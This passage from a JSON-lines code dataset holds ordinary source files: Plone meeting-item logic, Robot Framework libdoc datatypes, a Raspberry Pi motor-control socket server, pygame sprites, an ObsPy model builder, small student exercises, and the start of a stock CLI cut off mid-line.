'itemClonedToThisMC',\n ModifyPortalContent,\n mapping=mapping,\n isPermission=True)\n plone_utils.addPortalMessage(\n translate('sendto_success',\n mapping={'cfgTitle': safe_unicode(destMeetingConfig.Title())},\n domain=\"PloneMeeting\",\n context=self.REQUEST),\n type='info')\n\n # notify that item has been duplicated to another meetingConfig\n # so subproducts may interact if necessary\n notify(ItemDuplicatedToOtherMCEvent(self, newItem))\n\n # reindex, everything but ZCTextIndexes for newItem\n # and 'sentToInfos' for self\n # reindex after call to ItemDuplicatedToOtherMCEvent so we avoid double reindex\n reindex_object(newItem, no_idxs=['SearchableText', 'Title', 'Description'])\n reindex_object(self, idxs=['sentToInfos'], update_metadata=False)\n\n return newItem\n\n def _getSentToOtherMCAnnotationKey(self, destMeetingConfigId):\n '''Returns the annotation key where we store the UID of the item we\n cloned to another meetingConfigFolder.'''\n return SENT_TO_OTHER_MC_ANNOTATION_BASE_KEY + destMeetingConfigId\n\n security.declarePublic('mayCloneToOtherMeetingConfig')\n\n def mayCloneToOtherMeetingConfig(self, destMeetingConfigId, automatically=False):\n '''Checks that we can clone the item to another meetingConfigFolder.\n These are light checks as this could be called several times. This\n method can be adapted.'''\n item = self.getSelf()\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n\n # item must be sendable and not already sent\n if destMeetingConfigId not in item.getOtherMeetingConfigsClonableTo() or \\\n item._checkAlreadyClonedToOtherMC(destMeetingConfigId):\n return False\n\n # Regarding item state, the item has to be :\n # - current state in itemAutoSentToOtherMCStates;\n # - current state in itemManualSentToOtherMCStates/itemAutoSentToOtherMCStates\n # and user have ModifyPortalContent or is a MeetingManager.\n item_state = item.query_state()\n if not ((automatically and\n item_state in cfg.getItemAutoSentToOtherMCStates()) or\n (not automatically and\n (item_state in cfg.getItemManualSentToOtherMCStates() or\n item_state in cfg.getItemAutoSentToOtherMCStates()) and\n (_checkPermission(ModifyPortalContent, item) or tool.isManager(cfg)))\n ):\n return False\n\n # Can not clone an item to the same meetingConfig as the original item,\n # or if the given destMeetingConfigId is not clonable to.\n if (cfg.getId() == destMeetingConfigId) or \\\n destMeetingConfigId not in [mctct['meeting_config'] for mctct in cfg.getMeetingConfigsToCloneTo()]:\n return False\n\n return True\n\n def _checkAlreadyClonedToOtherMC(self, destMeetingConfigId):\n '''Check if the item has already been sent to the given\n destMeetingConfigId.'''\n annotation_key = self._getSentToOtherMCAnnotationKey(destMeetingConfigId)\n ann = IAnnotations(self)\n if ann.get(annotation_key, False):\n return True\n return False\n\n security.declarePrivate('getItemClonedToOtherMC')\n\n def getItemClonedToOtherMC(self, destMeetingConfigId, theObject=True):\n '''Returns the item cloned to the destMeetingConfigId if any.\n If p_theObject is True, the real object is returned, if not, we return the brain.'''\n annotation_key = self._getSentToOtherMCAnnotationKey(destMeetingConfigId)\n ann = IAnnotations(self)\n itemUID = ann.get(annotation_key, None)\n if itemUID:\n catalog = api.portal.get_tool('portal_catalog')\n # we search unrestricted because current user could not have access to the other item\n brains = catalog.unrestrictedSearchResults(UID=itemUID)\n if brains:\n if theObject:\n return brains[0]._unrestrictedGetObject()\n else:\n return brains[0]\n return None\n\n security.declarePrivate('manage_beforeDelete')\n\n def manage_beforeDelete(self, item, container):\n '''This is a workaround to avoid a Plone design problem where it is\n possible to remove a folder containing objects you can not\n remove.'''\n # If we are here, everything has already been checked before.\n # Just check that the item is myself, a Plone Site or removing a MeetingConfig.\n # We can remove an item directly, not \"through\" his container.\n if item.meta_type not in ('Plone Site', 'MeetingConfig', 'MeetingItem'):\n user_id = get_current_user_id(item.REQUEST)\n logger.warn(BEFOREDELETE_ERROR % (user_id, self.id))\n raise BeforeDeleteException(\n translate(\"can_not_delete_meetingitem_container\",\n domain=\"plone\",\n context=item.REQUEST))\n # if we are not removing the site and we are not in the creation process of\n # an item, manage predecessor\n if item.meta_type not in ['Plone Site', 'MeetingConfig'] and not item._at_creation_flag:\n # If the item has a predecessor in another meetingConfig we must remove\n # the annotation on the predecessor specifying it.\n predecessor = self.get_predecessor()\n if predecessor:\n tool = api.portal.get_tool('portal_plonemeeting')\n cfgId = tool.getMeetingConfig(self).getId()\n if predecessor._checkAlreadyClonedToOtherMC(cfgId):\n ann = IAnnotations(predecessor)\n annotation_key = self._getSentToOtherMCAnnotationKey(\n cfgId)\n del ann[annotation_key]\n # reindex predecessor's sentToInfos index\n reindex_object(predecessor, idxs=['sentToInfos'], update_metadata=0)\n # manage_beforeDelete is called before the IObjectWillBeRemovedEvent\n # in IObjectWillBeRemovedEvent references are already broken, we need to remove\n # the item from a meeting if it is inserted in there...\n # do this only when not removing meeting including items\n if not item.REQUEST.get('items_to_remove') and item.hasMeeting():\n item.getMeeting().remove_item(item)\n # and to clean advice inheritance\n for adviceId in item.adviceIndex.keys():\n self._cleanAdviceInheritance(item, adviceId)\n\n BaseFolder.manage_beforeDelete(self, item, container)\n\n def _cleanAdviceInheritance(self, item, adviceId):\n '''Clean advice inheritance for given p_adviceId on p_item.'''\n successors = self.get_every_successors()\n for successor in successors:\n if successor.adviceIndex.get(adviceId, None) and \\\n successor.adviceIndex[adviceId]['inherited']:\n successor.adviceIndex[adviceId]['inherited'] = False\n successor.update_local_roles()\n\n security.declarePublic('get_attendees')\n\n def get_attendees(self, the_objects=False, ordered=True):\n '''Returns the attendees for this item, so people that are \"present\".'''\n res = []\n if not self.hasMeeting():\n return res\n meeting = self.getMeeting()\n attendees = meeting.get_attendees(the_objects=False)\n item_absents = self.get_item_absents()\n item_excused = self.get_item_excused()\n item_non_attendees = self.get_item_non_attendees()\n attendees = [attendee for attendee in attendees\n if attendee not in item_absents + item_excused + item_non_attendees]\n # get really present attendees now\n if ordered:\n attendees = self._order_contacts(attendees)\n attendees = meeting._get_contacts(uids=attendees, the_objects=the_objects)\n return attendees\n\n def _order_contacts(self, uids):\n \"\"\" \"\"\"\n return [uid for uid in self.get_all_attendees(ordered=True)\n if uid in uids]\n\n def get_all_attendees(self, uids=[], the_objects=False, ordered=True):\n '''Returns every attendees for this item, including absents, excused, ...'''\n if not self.hasMeeting():\n return ()\n meeting = self.getMeeting()\n if ordered and not uids:\n uids = meeting._get_item_attendees_order(self.UID())\n return meeting.get_all_attendees(uids, the_objects=the_objects)\n\n def _appendLinkedItem(self, item, tool, cfg, only_viewable):\n if not only_viewable:\n return True\n hideNotViewableLinkedItemsTo = cfg.getHideNotViewableLinkedItemsTo()\n if hideNotViewableLinkedItemsTo and \\\n tool.isPowerObserverForCfg(cfg, power_observer_types=hideNotViewableLinkedItemsTo) and \\\n not _checkPermission(View, item):\n return False\n return True\n\n def downOrUpWorkflowAgain_cachekey(method, self, brain=False):\n '''cachekey method for self.downOrUpWorkflowAgain.'''\n repr_self = None\n last_action_time = None\n if not self.hasMeeting():\n repr_self = repr(self)\n last_action_time = getLastWFAction(self)[\"time\"]\n return repr_self, last_action_time\n\n security.declarePrivate('downOrUpWorkflowAgain')\n\n # not ramcached perf tests says it does not change anything\n # and this avoid useless entry in cache\n # @ram.cache(downOrUpWorkflowAgain_cachekey)\n def downOrUpWorkflowAgain(self):\n \"\"\"Was current item already in same review_state before?\n And if so, is it up or down the workflow?\"\"\"\n res = \"\"\n if not self.hasMeeting() and \\\n not self.query_state() == 'validated' and \\\n not self.isDefinedInTool():\n res = down_or_up_wf(self)\n return res\n\n security.declarePublic('show_votes')\n\n def show_votes(self):\n '''Must I show the \"votes\" tab on this item?'''\n res = False\n if self.hasMeeting() and self.getMeeting().adapted().show_votes():\n # Checks whether votes may occur on this item\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n res = self.getPollType() != 'no_vote' and \\\n self.get_item_voters() and \\\n cfg.isVotable(self)\n return res\n\n security.declarePublic('get_vote_count')\n\n def get_vote_count(self, vote_value, vote_number=0):\n '''Gets the number of votes for p_vote_value.\n A special value 'any_votable' may be passed for p_vote_value,\n in this case every values other than NOT_VOTABLE_LINKED_TO_VALUE are counted.'''\n res = 0\n itemVotes = self.get_item_votes(vote_number)\n item_voter_uids = self.get_item_voters()\n # when initializing, so Meeting.item_votes is empty\n # only return count for NOT_ENCODED_VOTE_VALUE\n if not itemVotes and vote_value == NOT_ENCODED_VOTE_VALUE:\n res = len(item_voter_uids)\n elif not self.get_vote_is_secret(vote_number):\n # public\n for item_voter_uid in item_voter_uids:\n if (item_voter_uid not in itemVotes['voters'] and\n vote_value == NOT_ENCODED_VOTE_VALUE) or \\\n (item_voter_uid in itemVotes['voters'] and\n vote_value == itemVotes['voters'][item_voter_uid]) or \\\n (item_voter_uid in itemVotes['voters'] and\n vote_value == 'any_votable' and\n itemVotes['voters'][item_voter_uid] != NOT_VOTABLE_LINKED_TO_VALUE):\n res += 1\n else:\n # secret\n if vote_value in itemVotes['votes']:\n res = itemVotes['votes'][vote_value] or 0\n elif vote_value == 'any_votable':\n res = len(item_voter_uids)\n elif vote_value == NOT_ENCODED_VOTE_VALUE:\n total = len(item_voter_uids)\n voted = sum([item_vote_count or 0 for item_vote_value, item_vote_count\n in itemVotes['votes'].items()])\n res = total - voted\n elif vote_value == 'any_voted':\n res = sum([item_vote_count or 0 for item_vote_value, item_vote_count\n in itemVotes['votes'].items()])\n return res\n\n security.declarePublic('setFieldFromAjax')\n\n def setFieldFromAjax(self, fieldName, fieldValue):\n '''See doc in utils.py.'''\n # invalidate advices if needed\n if self.willInvalidateAdvices():\n self.update_local_roles(invalidate=True)\n # historize given advices if necessary\n self._historizeAdvicesOnItemEdit()\n return set_field_from_ajax(self, fieldName, fieldValue)\n\n security.declarePublic('getFieldVersion')\n\n def getFieldVersion(self, fieldName, changes=False):\n '''See doc in utils.py.'''\n return getFieldVersion(self, fieldName, changes)\n\n security.declarePublic('getRichTextCSSClass')\n\n def getRichTextCSSClass(self, field_name):\n '''Let's arbitrary add custom CSS class to a RichText widget.'''\n if field_name == 'votesResult':\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n # we return \"modified\" if field contains something\n if tool.isManager(cfg) and self.getRawVotesResult(real=True):\n return \"highlightValue\"\n elif field_name == 'marginalNotes' and self.getRawMarginalNotes():\n return \"highlightValue\"\n return \"\"\n\n security.declarePublic('getRichTextOnSend')\n\n def getRichTextOnSend(self, field_name):\n '''Manage onSend JS parameter of askAjaxChunk for given p_field_name.'''\n if field_name == 'votesResult':\n return \"reloadVotesResult\"\n return \"null\"\n\n security.declarePrivate('getAdviceRelatedIndexes')\n\n def getAdviceRelatedIndexes(self):\n '''See doc in interfaces.py.'''\n return ['indexAdvisers']\n\n security.declarePrivate('getReviewStateRelatedIndexes')\n\n def getReviewStateRelatedIndexes(self):\n '''See doc in interfaces.py.'''\n return ['downOrUpWorkflowAgain', 'getTakenOverBy',\n 'reviewProcessInfo', 'previous_review_state']\n\n def getIndexesRelatedTo(self, related_to='annex', check_deferred=True):\n '''See doc in interfaces.py.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n idxs = ['pm_technical_index', 'SearchableText']\n if related_to == 'annex':\n idxs.append('annexes_index')\n elif related_to == 'item_reference':\n pass\n if check_deferred and related_to in tool.getDeferParentReindex():\n # mark item reindex deferred so it can be updated at right moment\n item = self.getSelf()\n setattr(item, REINDEX_NEEDED_MARKER, True)\n idxs.remove('SearchableText')\n return idxs\n\n def _mayChangeAttendees(self):\n \"\"\"Check that user may quickEdit\n item_absents/item_excused/item_non_attendees/votes/...\"\"\"\n return self.hasMeeting() and checkMayQuickEdit(\n self, bypassWritePermissionCheck=True, onlyForManagers=True)\n\n def mayDisplayProposingGroupUsers(self):\n \"\"\" \"\"\"\n res = False\n proposingGroup = self.getProposingGroup()\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n if not proposingGroup or \\\n proposingGroup in tool.get_orgs_for_user() or \\\n tool.isManager(cfg):\n res = True\n return res\n\n security.declarePublic('getLabelItemAssembly')\n\n def getLabelItemAssembly(self):\n '''\n Depending on the fact that we use 'itemAssembly' alone or\n 'assembly, excused, absents', we will translate the 'assembly' label\n a different way.\n '''\n if self.attribute_is_used('assembly_excused') or \\\n self.attribute_is_used('assembly_absents'):\n return _('attendees_for_item')\n else:\n return _('PloneMeeting_label_itemAssembly')\n\n def get_representatives_in_charge(self, check_is_attendee=True):\n '''Return the representative in charge of this item depending on\n selected MeetingItem.groupsInCharge.\n Default use is when item in a meeting so we can check meeting date\n and if representative is attendee for the meeting.'''\n groups_in_charge = self.getGroupsInCharge(theObjects=True)\n meeting = self.getMeeting()\n meeting_date = meeting.date if meeting else None\n attendees = self.get_attendees(the_objects=True)\n res = []\n for gic in groups_in_charge:\n # when p_check_is_attendee=True,\n # only keep held_positions that are also attendees for self\n res += [hp for hp in gic.get_representatives(at_date=meeting_date)\n if (not check_is_attendee or hp in attendees) and\n hp not in res]\n return res\n\n def is_decided(self, cfg, item_state=None, positive_only=False):\n '''Is item considered decided?'''\n item_state = item_state or self.query_state()\n if positive_only:\n return item_state in cfg.getPositiveDecidedStates()\n else:\n return item_state in cfg.getItemDecidedStates()\n\n\nregisterType(MeetingItem, PROJECTNAME)\n","repo_name":"IMIO/Products.PloneMeeting","sub_path":"src/Products/PloneMeeting/MeetingItem.py","file_name":"MeetingItem.py","file_ext":"py","file_size_in_byte":388046,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42774239155","text":"codigofunciona = False\n\nwhile codigofunciona == False:\n perguntaaluno = input(\"Código está executando? \")\n if perguntaaluno == 'n':\n print(\"Corrija o código e tente de novo\")\n elif perguntaaluno == 's':\n perguntadois = input(\"Produz o resultado correto? \")\n if perguntadois == \"n\":\n print(\"Corrija o código e tente de novo e volte para o começo de tudo\")\n elif perguntadois == \"s\":\n print(\"Parabéns!\")\n codigofunciona = True","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_150/ch138_2020_04_01_19_07_18_250656.py","file_name":"ch138_2020_04_01_19_07_18_250656.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13514998862","text":"from inspect import isclass\nfrom enum import Enum\n\nfrom robot.utils import getdoc, Sortable, typeddict_types, type_name\nfrom robot.running import TypeConverter\n\nfrom .standardtypes import STANDARD_TYPE_DOCS\n\n\nEnumType = type(Enum)\n\n\nclass TypeDoc(Sortable):\n ENUM = 'Enum'\n TYPED_DICT = 'TypedDict'\n CUSTOM = 'Custom'\n STANDARD = 'Standard'\n\n def __init__(self, type, name, doc, accepts=(), usages=None,\n members=None, items=None):\n self.type = type\n self.name = name\n self.doc = doc or '' # doc parsed from XML can be None.\n self.accepts = [type_name(t) if not isinstance(t, str) else t for t in accepts]\n self.usages = usages or []\n # Enum members and TypedDict items are used only with appropriate types.\n self.members = members\n self.items = items\n\n @property\n def _sort_key(self):\n return self.name.lower()\n\n @classmethod\n def for_type(cls, type_info, converters):\n if isinstance(type_info.type, EnumType):\n return cls.for_enum(type_info.type)\n if isinstance(type_info.type, typeddict_types):\n return cls.for_typed_dict(type_info.type)\n converter = TypeConverter.converter_for(type_info, converters)\n if not converter:\n return None\n elif not converter.type:\n return cls(cls.CUSTOM, converter.type_name, converter.doc,\n converter.value_types)\n else:\n # Get `type_name` from class, not from instance, to get the original\n # name with generics like `list[int]` that override it in instance.\n return cls(cls.STANDARD, type(converter).type_name,\n STANDARD_TYPE_DOCS[converter.type], converter.value_types)\n\n @classmethod\n def for_enum(cls, enum):\n accepts = (str, int) if issubclass(enum, int) else (str,)\n return cls(cls.ENUM, enum.__name__, getdoc(enum), accepts,\n members=[EnumMember(name, str(member.value))\n for name, member in enum.__members__.items()])\n\n @classmethod\n def for_typed_dict(cls, typed_dict):\n items = []\n required_keys = list(getattr(typed_dict, '__required_keys__', []))\n optional_keys = list(getattr(typed_dict, '__optional_keys__', []))\n for key, value in typed_dict.__annotations__.items():\n typ = value.__name__ if isclass(value) else str(value)\n required = key in required_keys if required_keys or optional_keys else None\n items.append(TypedDictItem(key, typ, required))\n return cls(cls.TYPED_DICT, typed_dict.__name__, getdoc(typed_dict),\n accepts=(str, 'Mapping'), items=items)\n\n def to_dictionary(self):\n data = {\n 'type': self.type,\n 'name': self.name,\n 'doc': self.doc,\n 'usages': self.usages,\n 'accepts': self.accepts\n }\n if self.members is not None:\n data['members'] = [m.to_dictionary() for m in self.members]\n if self.items is not None:\n data['items'] = [i.to_dictionary() for i in self.items]\n return data\n\n\nclass TypedDictItem:\n\n def __init__(self, key, type, required=None):\n self.key = key\n self.type = type\n self.required = required\n\n def to_dictionary(self):\n return {'key': self.key, 'type': self.type, 'required': self.required}\n\n\nclass EnumMember:\n\n def __init__(self, name, value):\n self.name = name\n self.value = value\n\n def to_dictionary(self):\n return {'name': self.name, 'value': self.value}\n","repo_name":"robotframework/robotframework","sub_path":"src/robot/libdocpkg/datatypes.py","file_name":"datatypes.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","stars":8521,"dataset":"github-code","pt":"21"} +{"seq_id":"22600422672","text":"def zero_matrix(m, n): #m as cols and n as rows\n matrix = []\n for i in range(m):\n rows = []\n for j in range(n):\n rows.append(0)\n matrix.append(rows)\n return matrix\n\nprint(zero_matrix(2, 3))","repo_name":"pujahabibi/codingInterview","sub_path":"Array_Strings/zero_matrix.py","file_name":"zero_matrix.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"44449657321","text":"#recieving information from the users pc\nimport RPi.GPIO as GPIO\nimport socket\nimport time\nimport sys\nfrom _thread import *\n#setting up the networking defenitions\nhost = ''\nport = 5555\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n#setting up the GPIO defenitions\nGPIO.cleanup()\nGPIO.setmode(GPIO.BOARD)\nclockR = 11\ncounterclockR = 15\nPWMR = 13\nclockL = 16\ncounterclockL = 18\nPWML = 12\nGPIO.setup(clockR,GPIO.OUT)\nGPIO.setup(counterclockR,GPIO.OUT)\nGPIO.setup(PWMR,GPIO.OUT)\npwmrV = GPIO.PWM(PWMR,20000)\npwmrV.start(0)\nGPIO.setup(clockL,GPIO.OUT)\nGPIO.setup(counterclockL,GPIO.OUT)\nGPIO.setup(PWML,GPIO.OUT)\npwmlV = GPIO.PWM(PWML,20000)\npwmlV.start(0)\ntry:\n\ts.bind((host,port))\nexcept socket.error as e:\n\tprint(str(e))\n\ns.listen(5)\n\ndef threaded_client(conn):\n\twhile True:\n\t\tdata = conn.recv(256)\n\t\tif len(data)>0:\n\t\t\t#reading the string format\n\t\t\tclean_data = b''\n\t\t\tfor i in range(0,256):\n\t\t\t\tif data[i]==0 and data[i+1]==0:\n\t\t\t\t\tbreak\n\t\t\t\tclean_data += bytes([data[i]])\n\t\t\tdata_string = clean_data.decode('utf-8')\n\t\t\tdata_int = list(map(int,data_string.split(',')))\n\t\t\t#data_int format:\n\t\t\t#data_int[0] - motor1 clockwise direction\n\t\t\t#data_int[1] = motor1 counterclockwise direction\n\t\t\t#data_int[2] = motor1 PWM duty cycle\n\t\t\t#data_int[3] = motor2 clockwise ...\n\t\t\t#data_int[4] = motor2 counterclockwise ...\n\t\t\t#data_int[5] = motor2 PWM\n\t\t\tif data_int[0]==2:\n\t\t\t\tpwmrV.stop()\n\t\t\t\tpwmlV.stop()\n\t\t\t\tGPIO.cleanup()\n\t\t\t\tsys.exit()\n\t\t\tGPIO.output(clockR,data_int[0])\n\t\t\tGPIO.output(counterclockR,data_int[1])\n\t\t\tGPIO.output(clockL,data_int[3])\n\t\t\tGPIO.output(counterclockL,data_int[4])\n\t\t\tpwmrV.ChangeDutyCycle(data_int[2])\n\t\t\tpwmlV.ChangeDutyCycle(data_int[5])\n\t\t\t#print('recieved data:',data_int)\n\nwhile True:\n\tconn,addr = s.accept()\n\tstart_new_thread(threaded_client, (conn,))\n","repo_name":"Fritterino/Trackss-Code","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42154212983","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nFunctional tests for `ugetcli` package - `help` command.\nTests functionality of the cli help command with various options.\n\"\"\"\n\nimport unittest\nfrom click.testing import CliRunner\n\nfrom ugetcli import cli\n\n\nclass TestUGetCliHelp(unittest.TestCase):\n \"\"\"Tests for `ugetcli` package - help command.\"\"\"\n\n def test_cli_uget_help(self):\n \"\"\"Test cli: uget help\"\"\"\n runner = CliRunner()\n result = runner.invoke(cli.ugetcli, ['--help'], obj={})\n assert result.exit_code == 0\n assert '--help' in result.output\n assert 'Show this message and exit.' in result.output\n","repo_name":"AgeOfLearning/uget-cli","sub_path":"tests/functional/test_help.py","file_name":"test_help.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"22682677573","text":"import pandas as pd\n# import obspy\nfrom obspy.taup.taup_create import build_taup_model\nmod_text=pd.read_csv('./CDmod',sep=\"\\s+\",header=0,names=['vp','vs','rho','thick','depth','idx'])\niasp_text=pd.read_csv('./iasp91.tvel',sep=\"\\s+\",header=2,names=['depth','vp','vs','rho'])\nfileout=open(\"./CDmod.tvel\",\"w\")\nprint( \"CDmod P Model (%d layers) no \\\"discontinuity\\\" at 120, 760 km\" % (len(mod_text)),file=fileout)\nprint( \"CDmod S Model (%d values to cmb)\" % (len(mod_text)+iasp_text[iasp_text.depth==2939.330].index.tolist()[0]),file=fileout)\nfor ii in range(len(mod_text)):\n print(mod_text.depth[ii],mod_text.vp[ii],mod_text.vs[ii],mod_text.rho[ii],file=fileout)\nidx_0=iasp_text[iasp_text.depth>mod_text.depth[ii]].index.tolist()[0]\nfor jj in range(idx_0,len(iasp_text)):\n print(iasp_text.depth[jj],iasp_text.vp[jj],iasp_text.vs[jj],iasp_text.rho[jj],file=fileout)\nfileout.close()\nbuild_taup_model(\"./CDmod.tvel\")","repo_name":"georom1996/GCSRF_GIG_USTC-Training-Package","sub_path":"Section003/mod/make_tvel.py","file_name":"make_tvel.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"42977194186","text":"# File created by JT Wilcox\r\n\r\nimport pygame as pg\r\nfrom pygame.sprite import Sprite\r\nfrom settings import *\r\nfrom random import randint\r\n\r\n\r\nvec = pg.math.Vector2\r\n\r\n# player class\r\n\r\nclass Player(Sprite):\r\n def __init__(self, game):\r\n Sprite.__init__(self)\r\n # tproperties of the player sprite\r\n self.game = game\r\n self.image = pg.Surface((50,50))\r\n self.image.fill(RED)\r\n self.rect = self.image.get_rect()\r\n self.rect.center = (WIDTH/2, HEIGHT/2)\r\n self.pos = vec(WIDTH/2, HEIGHT/2)\r\n self.vel = vec(0,0)\r\n self.acc = vec(0,0)\r\n self.cofric = 0.1\r\n self.canjump = False\r\n def input(self):\r\n keystate = pg.key.get_pressed()\r\n # if a is pressed sprite will move left\r\n if keystate[pg.K_a]:\r\n self.acc.x = -PLAYER_ACC\r\n # if d is pressed sprite will move right\r\n if keystate[pg.K_d]:\r\n self.acc.x = PLAYER_ACC\r\n # if keystate[pg.K_p]:\r\n # if PAUSED == False:\r\n # PAUSED = True\r\n # print(PAUSED)\r\n # else:\r\n # PAUSED = False\r\n # print(PAUSED)\r\n # defines characteristics of when to jump and how high to jump\r\n def jump(self):\r\n self.rect.x += 1\r\n hits = pg.sprite.spritecollide(self, self.game.platforms, False)\r\n self.rect.x -= 1\r\n # if hits:\r\n self.vel.y = -PLAYER_JUMP\r\n # lets the player know when sprite has left the boundary and where it is\r\n def inbounds(self):\r\n if self.rect.x > WIDTH - 50:\r\n self.pos.x = WIDTH - 25\r\n self.vel.x = 0\r\n print(\"i am off the right side of the screen...\")\r\n if self.rect.x < 0:\r\n self.pos.x = 25\r\n self.vel.x = 0\r\n print(\"i am off the left side of the screen...\")\r\n if self.rect.y > HEIGHT:\r\n print(\"i am off the bottom of the screen\")\r\n if self.rect.y < 0:\r\n print(\"i am off the top of the screen...\")\r\n # what text will be displayed and how score will change when there is a collison\r\n def mob_collide(self):\r\n hits = pg.sprite.spritecollide(self, self.game.enemies, True)\r\n if hits:\r\n print(\"you collided with an enemy...\")\r\n self.game.score += 1\r\n print(SCORE)\r\n # puts gravity into game so player is not constabtly falling\r\n def update(self):\r\n self.acc = vec(0, PLAYER_GRAV)\r\n self.acc.x = self.vel.x * PLAYER_FRICTION\r\n self.input()\r\n self.vel += self.acc\r\n self.pos += self.vel + 0.5 * self.acc\r\n self.rect.midbottom = self.pos\r\n# mob class\r\nclass Mob(Sprite):\r\n # charactersitics of mab\r\n def __init__(self,width,height, color):\r\n Sprite.__init__(self)\r\n self.width = width\r\n self.height = height\r\n self.image = pg.Surface((self.width,self.height))\r\n self.color = color\r\n self.image.fill(self.color)\r\n self.rect = self.image.get_rect()\r\n self.rect.center = (WIDTH/2, HEIGHT/2)\r\n self.pos = vec(WIDTH/2, HEIGHT/2)\r\n self.vel = vec(randint(1,5),randint(1,5))\r\n self.acc = vec(1,1)\r\n self.cofric = 0.01\r\n\r\n # ...\r\n # make it so mobs are actually staying within the screen and are always visible\r\n def inbounds(self):\r\n if self.rect.x > WIDTH:\r\n self.vel.x *= -1\r\n \r\n if self.rect.x < 0:\r\n self.vel.x *= -1\r\n \r\n if self.rect.y < 0:\r\n self.vel.y *= -1\r\n \r\n if self.rect.y > HEIGHT:\r\n self.vel.y *= -1\r\n \r\n def update(self):\r\n self.inbounds()\r\n # self.pos.x += self.vel.x\r\n # self.pos.y += self.vel.y\r\n self.pos += self.vel\r\n self.rect.center = self.pos\r\n\r\n#platform class\r\n\r\nclass Platform(Sprite):\r\n # characteristics of platforms\r\n def __init__(self, width, height, x, y, color, variant):\r\n Sprite.__init__(self)\r\n self.width = width\r\n self.height = height\r\n self.image = pg.Surface((self.width,self.height))\r\n self.color = color\r\n self.image.fill(self.color)\r\n self.rect = self.image.get_rect()\r\n self.rect.x = x\r\n self.rect.y = y\r\n self.variant = variant","repo_name":"jtwilcox1/jwilcox_timeprogress","sub_path":"sprites.py","file_name":"sprites.py","file_ext":"py","file_size_in_byte":4365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37856655446","text":"from typing import Optional\nfrom ..models import LoadCurrenciesResponse\n\n\nasync def load_currencies(self, reload: Optional[bool] = False) -> LoadCurrenciesResponse:\n \"\"\"\n Retrieves and caches a list of currencies being traded on the dEX.\n\n Parameters\n ----------\n reload : bool\n (Optional) Whether to refresh the cache\n\n Returns\n -------\n xrpl_dex_sdk.models.LoadCurrenciesResponse\n The fetched currencies\n \"\"\"\n\n if self.currencies == None or reload == True:\n currencies = await self.fetch_currencies()\n self.currencies = currencies\n return self.currencies\n","repo_name":"AktaryTech/xrpl-dex-sdk-python","sub_path":"xrpl_dex_sdk/methods/load_currencies.py","file_name":"load_currencies.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"34291014719","text":"hexa_table = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A' , 'B', 'C', 'D', 'E', 'F']\nnum=int(input(\"Enter any Number = \"))\nhexadeci = ''\n\nwhile(num>0):\n remainder = num%16\n hexadeci = hexa_table[remainder]+ hexadeci\n num = num//16\n \nprint(\"Hexadecimal Number: \",hexadeci)\n\n# ans=[]\n# dic={10:'a',11:'b' ,12:'c' ,13:'d' ,14:'e' ,15:'f'}\n# if(num==0):\n# print(\"0\")\n# if(num<0):\n# num=num+2**32\n# while(num>0):\n# dig=num%16\n# num=num//16\n# if(dig>9 and dig<16):\n# dig=dic[dig]\n# else:\n# dig=dic\n","repo_name":"avneeshk021/Python","sub_path":"hexadecimal.py","file_name":"hexadecimal.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74217625014","text":"# coding: utf-8\nimport click\nimport quandl\nfrom stock import util, models, params\n\n\ndef _multiple_decorator(funcs):\n def wrap(g):\n for f in funcs:\n g = f(g)\n return wrap\n\n\ndef mkdate(ctx, param, datestr):\n return util.str2date(datestr)\n\n\nclass AliasedGroup(click.Group):\n\n def get_command(self, ctx, cmd_name):\n rv = click.Group.get_command(self, ctx, cmd_name)\n if rv is not None:\n return rv\n matches = [x for x in self.list_commands(ctx)\n if x.startswith(cmd_name)]\n if not matches:\n return None\n elif len(matches) == 1:\n return click.Group.get_command(self, ctx, matches[0])\n ctx.fail('Too many matches: %s' % ', '.join(sorted(matches)))\n\n\n@click.group(cls=AliasedGroup, invoke_without_command=True)\n@click.option(\"-k\", \"--key\", envvar='QUANDL_CODE_API_KEY')\ndef cli(key):\n ctx = click.get_current_context()\n if ctx.invoked_subcommand is None:\n click.echo(ctx.get_help(), color=ctx.color)\n if key:\n quandl.ApiConfig.api_key = key\n\n\n@cli.command()\ndef init():\n models.drop_all()\n models.create_all()\n\n\n@cli.command()\ndef config(**kw):\n m = \", \".join(str(s) for (s, _) in params.get_signals().items())\n click.echo(\"SIGNALS: \" + m)\n\n m = \", \".join(str(s) for (s, _) in params.get_lines().items())\n click.echo(\"LINES: \" + 